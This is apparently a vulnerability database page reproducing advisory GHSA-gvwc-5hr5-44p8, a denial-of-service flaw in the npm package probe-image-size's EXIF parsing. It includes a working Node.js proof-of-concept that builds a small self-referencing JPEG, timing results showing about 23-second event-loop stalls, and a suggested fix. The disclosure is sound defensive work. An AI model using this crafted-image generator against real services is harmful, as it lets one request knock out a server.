GHSA-gvwc-5hr5-44p8: 
JavaScript Analyse et atténuation de la vulnérabilité

Filed here at the maintainer's request, in reply to our email of 2026-10-21: one GitHub report per issue. This is one of four separate reports split out of that email, and it stands alone. Found with AploSec, our security scanner, and confirmed by execution.

Summary

A 9.6 KB JPEG whose EXIF IFD points back at itself through many sub-IFD tags makes probe.sync block the event loop for about 23 seconds. The cost grows about 15x each time the entry count doubles. The same code runs for probe(stream) and probe(url).

Affected versions

  • probe-image-size 7.4.0 (npm latest, published 2026-08-15). Default-branch HEAD 64565c3c ("7.4.0 released") is identical to the release, and it is still the latest commit and version as of 2026-10-22.
  • Also present, unchanged, in 7.3.0 (same timings). This is not the SVG advisory GHSA-gjj5-9665-rwrc; it is a different file and predates that fix.

Details

lib/exif_utils.js:212. While looking for the orientation tag, entries with tag 0x8769 (ExifIFD pointer) and 0xA005 (InteropIFD pointer) are queued and followed without remembering which IFD offsets were already visited. An IFD with a entries of one kind and b of the other, all pointing at the IFD's own offset, costs about a*b*(a+b) entry reads and keeps growing the job queue. There is no tag 0x112 (orientation) in the file, so the early exit never triggers. Reachable through the JPEG APP1 Exif path in probe.sync, probe(stream) and probe(url). The WebP and AVIF EXIF paths call the same get_orientation. Attacker model: remote and unauthenticated. The attacker only needs to supply image bytes or an image URL to a service that calls probe-image-size (upload handlers, URL unfurling, image proxies).

Proof of concept

poc3.js (7.4.0 at probe-image-size, 7.3.0 at ./old/node_modules/probe-image-size):

// EXIF sub-IFD fan-out: a x tag0x8769 + b x tag0xA005 entries, all pointing at the IFD itself (offset 8)
const probe = require('probe-image-size'), OLD = require('./old/node_modules/probe-image-size')
function tiff (a, b, benign) {
  const n = a + b, buf = Buffer.alloc(8 + 2 + 12 * n + 4)
  buf.write('II*\0', 0, 'latin1'); buf.writeUInt32LE(8, 4); buf.writeUInt16LE(n, 8)
  for (let i = 0; i < n; i++) {
    const o = 10 + 12 * i
    buf.writeUInt16LE(benign ? 0x0100 : (i < a ? 0x8769 : 0xA005), o)   // benign: plain tag (ImageWidth), not a link
    buf.writeUInt16LE(4, o + 2); buf.writeUInt32LE(1, o + 4); buf.writeUInt32LE(8, o + 8)
  }
  return buf
}
function jpeg (t) {
  const app1 = Buffer.concat([Buffer.from('Exif\0\0', 'latin1'), t])
  const l = Buffer.alloc(2); l.writeUInt16BE(app1.length + 2)
  const sof = Buffer.from([0xFF, 0xC0, 0, 11, 8, 0, 1, 0, 1, 1, 1, 0x11, 0])
  return Buffer.concat([Buffer.from([0xFF, 0xD8, 0xFF, 0xE1]), l, app1, sof])
}
for (const n of [100, 200, 400, 800]) {
  const atk = jpeg(tiff(n / 2, n / 2, false)), ctl = jpeg(tiff(n / 2, n / 2, true))
  let s = process.hrtime.bigint(); const r1 = probe.sync(ctl); const tc = Number(process.hrtime.bigint() - s) / 1e6
  s = process.hrtime.bigint(); const r2 = probe.sync(atk); const ta = Number(process.hrtime.bigint() - s) / 1e6
  s = process.hrtime.bigint(); OLD.sync(atk); const to = Number(process.hrtime.bigint() - s) / 1e6
  console.log(`entries=${n} jpeg=${atk.length}B  control=${tc.toFixed(1)}ms attack(7.4.0)=${ta.toFixed(0)}ms attack(7.3.0)=${to.toFixed(0)}ms  dims=${r2 && r2.width}x${r2 && r2.height}`)
}

Test environment: Docker node:22-slim (Node 22.23.4), npm i probe-image-size@7.4.0 (and 7.3.0 in ./old where noted), runs with docker run --rm --network none. Control: the same JPEG with the same number of entries, but using the plain tag 0x0100 (ImageWidth) instead of the two link tags. It parses in 0.1 to 1.1 ms at every size, so the slowdown comes from following the links and not from the entry count. Results:

entries=100 jpeg=1239B  control=1.1ms attack(7.4.0)=26ms attack(7.3.0)=27ms  dims=1x1
entries=200 jpeg=2439B  control=0.1ms attack(7.4.0)=131ms attack(7.3.0)=130ms  dims=1x1
entries=400 jpeg=4839B  control=0.2ms attack(7.4.0)=2038ms attack(7.3.0)=1841ms  dims=1x1
entries=800 jpeg=9639B  control=0.1ms attack(7.4.0)=23128ms attack(7.3.0)=23039ms  dims=1x1

A full-size APP1 segment holds about 5,400 entries, which extrapolates to hours. I did not run sizes above 800 entries (1,600 entries exceeded my time budget).

Impact

Denial of service. One small image pins the Node.js event loop, so a single request stalls every other request the process is serving, and a handful of requests take the service down. Memory also grows with the job queue. No authentication or user interaction is needed.

Suggested fix

Keep a set of visited IFD offsets and skip offsets already seen, and cap the total number of IFDs or entries processed per image. Zachariah Mithani (zachariah@aplosai.com) AploSec (aplosec.si) Credit: Zachariah Mithani (@zachariah-mithani, AploSec)


Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-gvwc-5hr5-44p8HIGH7.5
  • JavaScript logoJavaScript
  • probe-image-size
NonOuiOct 26, 2026
GHSA-5jh3-w3fj-6758LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NonOuiOct 26, 2026
GHSA-5v8x-rm7w-m4c7LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NonOuiOct 26, 2026
GHSA-7pqp-3q23-mwr8LOW3.7
  • JavaScript logoJavaScript
  • probe-image-size
NonOuiOct 26, 2026
GHSA-3qg4-7mq2-gm93MEDIUMN/A
  • JavaScript logoJavaScript
  • probe-image-size
NonOuiOct 26, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités